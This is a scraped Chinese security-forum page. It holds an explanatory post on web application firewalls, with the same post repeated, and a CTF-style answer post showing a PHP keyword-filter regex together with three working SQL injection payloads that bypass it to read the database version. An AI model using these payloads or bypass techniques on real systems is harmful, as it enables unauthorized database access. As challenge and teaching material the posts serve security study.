            4.WEB应用加固工具
                这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且 能够保护WEB应用编程错误导致的安全隐患。
            注:需要说明的一点,不是称为Web应用防火墙的设备都同时具有以上四种功能。
        *.补充:
            WEB应用防火墙还具有多面性的特点:
                1.从网络入侵检测的角度来看可以把WAF看成运行在HTTP层上的IDS设备;
                2.从防火墙角度来看,WAF是一种防火墙的功能模块;
                3.也可以把WAF看作“深度检测防火墙”的增强。
                注(深度检测防火墙通常工作在的网络的第三层以及更高的层次,而Web应用防火墙则在第七层处理HTTP服务并且更好地支持它。)

3.Web中WAF:
        这里只谈web环境中的WAF,目前,waf最大的目的是防止SQL注入;智慧的人类创造了锁,必然会有钥匙,号称不可逆的MD5,咳咳。。。。。
        举例:
            扯了半天WAF那么它是怎么工作的那?请看下图:










            1.图1,描述的环境,图2,解说WAF处理请求的过程;
            2.当收到客户端请求,apache收到请求,通过配置文件里定义的方法,检查请求内容是否合法;
            3.那么有了WAF就一定安全了吗?答案,当然肯定是否的;

    3.1.那么问题来了,waf如何能做到进驻配置文件的哪?
           1.它是安装WAF过程中,修改了APACHE的配置文件,并且重启了apache服务,让其生效;(如图)






4.实践测试:
        码再多的文字,说再多的理论,不给结果都是瞎扯的流氓,以下是某厂版本较老的WAF,别人问了:咋不弄新版本那(你告诉我谁家想查水表),以下操作仅供本地实验,切勿违法操作:
            1.环境为本地文件,测试第一次警告,结果如图:






            2.测试第二次,显然是存在注入的,如图;






5.总结
        1.没有绝对的安全,在安全的路上记下一句话:如临深渊 如履薄冰!

感谢:论坛@朽木提供技术支持! 查看全部
对WAF的粗略见解(排版不好谅解)

  
 SQL注入产生,不做更多解释了,对于网站WAF,做渗透测试都遇到过,对于新兵,难免遇到抓脑,曾一度错误认为waf是进驻在进程中,监视监管web请求过来的数据,多说无益,请仔细阅读;

1.什么是WAF?

      
  Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。说直白点就是,过滤用户提交的请求,不用搞那么复杂;

2.WAF具备那些功能?

          
 1.审计设备
                对于系统自身安全相关的事件产生审计记录:比如:用户操作行为、安全策略操作行为;
            2.访问控制设备
                用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式。
            3.架构/网络设计工具
                当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
            4.WEB应用加固工具
                这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且 能够保护WEB应用编程错误导致的安全隐患。
            注:需要说明的一点,不是称为Web应用防火墙的设备都同时具有以上四种功能。

        *.补充:
            
WEB应用防火墙还具有多面性的特点:
                1.从网络入侵检测的角度来看可以把WAF看成运行在HTTP层上的IDS设备;
                2.从防火墙角度来看,WAF是一种防火墙的功能模块;
                3.也可以把WAF看作“深度检测防火墙”的增强。
                注(深度检测防火墙通常工作在的网络的第三层以及更高的层次,而Web应用防火墙则在第七层处理HTTP服务并且更好地支持它。)


3.Web中WAF:
      
 这里只谈web环境中的WAF,目前,waf最大的目的是防止SQL注入;智慧的人类创造了锁,必然会有钥匙,号称不可逆的MD5,咳咳。。。。。
        举例:
            扯了半天WAF那么它是怎么工作的那?请看下图:


流程图.png

360WAF-工作原理.jpg


            1.图1,描述的环境,图2,解说WAF处理请求的过程;
            2.当收到客户端请求,apache收到请求,通过配置文件里定义的方法,检查请求内容是否合法;
            3.那么有了WAF就一定安全了吗?答案,当然肯定是否的;


    3.1.那么问题来了,waf如何能做到进驻配置文件的哪?
           1.它是安装WAF过程中,修改了APACHE的配置文件,并且重启了apache服务,让其生效;(如图)

waf-文件路径.png


4.实践测试:
      
 码再多的文字,说再多的理论,不给结果都是瞎扯的流氓,以下是某厂版本较老的WAF,别人问了:咋不弄新版本那(你告诉我谁家想查水表),以下操作仅供本地实验,切勿违法操作:
            1.环境为本地文件,测试第一次警告,结果如图:


wef提示.png


          
 2.测试第二次,显然是存在注入的,如图;

过了WAF.png


5.总结
      
 1.没有绝对的安全,在安全的路上记下一句话:如临深渊 如履薄冰!

感谢:论坛@朽木提供技术支持!

【题目4答案】一道SQL注入的题目需要注入出数据库版本

Web安全渗透Mosuan 发表了文章 • 2 个评论 • 410 次浏览 • 2016-11-24 11:06 • 来自相关话题

还是老样子,先从代码开始说起:
不同之前,这次代码我写了递归函数来过滤关键词。function reg_replace($reg, $strs){
preg_match($reg, $strs, $result);
if(count($result) == 1){
$aa = preg_replace($reg,'',$strs);
return reg_replace($reg, $aa);
}else{
return $strs;
}
}



正则如下:$reg = "/union|select|\/\[i]\[/i]\/|order|\)=|subset|gtid|st_|concat|if|or|table|where|in|file|left|right|limit|reg|ord|cate|name|info|into|'[a-z0-9]|\\|group|bin|floor|md5|base|benchmark|@@version|updatexml|value|exp|by|xor|sleep|substring|varsion\(\)|user|data|:|delete|update|insert|\s|\#|\-\-|,|mid|ascii/";可以看到过滤很多东西,逗号之类的,还有很多关键词。
这里写错了一个单词很尴尬...version写成了varsion,不然绕过还得查查手册。
 
http://zone.secevery.com/?/article/159   看过我这篇文章应该就能想到了subtring,但是这里过滤了substring,但是可以用substr,一样的效果。
 
郑凯的poc: 1'/1/and/1/SUBstr(version()/1/from(1))/1/like/1/'%5.5
%'/1/and/!,/''='

undefined的poc: ' ||(substr(version()from(21)))!=0x302e31||'
 
我的poc:%27/2/and/x/substr(@@GLOBAL.VERSION/1/from/1/6)/1/=0x30/1/||/x/%27
 
参数这块很多人没找到,我在题目里面就说了,听说这部动漫的片头曲很好听!!参数就是歌曲名称,unravel。
 
有疑问就提出来。 查看全部
还是老样子,先从代码开始说起:
不同之前,这次代码我写了递归函数来过滤关键词。
function reg_replace($reg, $strs){
preg_match($reg, $strs, $result);
if(count($result) == 1){
$aa = preg_replace($reg,'',$strs);
return reg_replace($reg, $aa);
}else{
return $strs;
}
}



正则如下:
$reg = "/union|select|\/\[i]\[/i]\/|order|\)=|subset|gtid|st_|concat|if|or|table|where|in|file|left|right|limit|reg|ord|cate|name|info|into|'[a-z0-9]|\\|group|bin|floor|md5|base|benchmark|@@version|updatexml|value|exp|by|xor|sleep|substring|varsion\(\)|user|data|:|delete|update|insert|\s|\#|\-\-|,|mid|ascii/";
可以看到过滤很多东西,逗号之类的,还有很多关键词。
这里写错了一个单词很尴尬...version写成了varsion,不然绕过还得查查手册。
 
http://zone.secevery.com/?/article/159   看过我这篇文章应该就能想到了subtring,但是这里过滤了substring,但是可以用substr,一样的效果。
 
郑凯的poc: 1'/1/and/1/SUBstr(version()/1/from(1))/1/like/1/'%5.5
%'/1/and/!,/''='


undefined的poc: ' ||(substr(version()from(21)))!=0x302e31||'
 
我的poc:%27/2/and/x/substr(@@GLOBAL.VERSION/1/from/1/6)/1/=0x30/1/||/x/%27
 
参数这块很多人没找到,我在题目里面就说了,听说这部动漫的片头曲很好听!!参数就是歌曲名称,unravel。
 
有疑问就提出来。

【转载】超全SQL注入学习笔记

数据库SQL语言Mosuan 发表了文章 • 1 个评论 • 564 次浏览 • 2016-11-23 10:10 • 来自相关话题

http://files.cnblogs.com/files/lcamry/mysql-injection.pdf
 
出处哪里我忘了....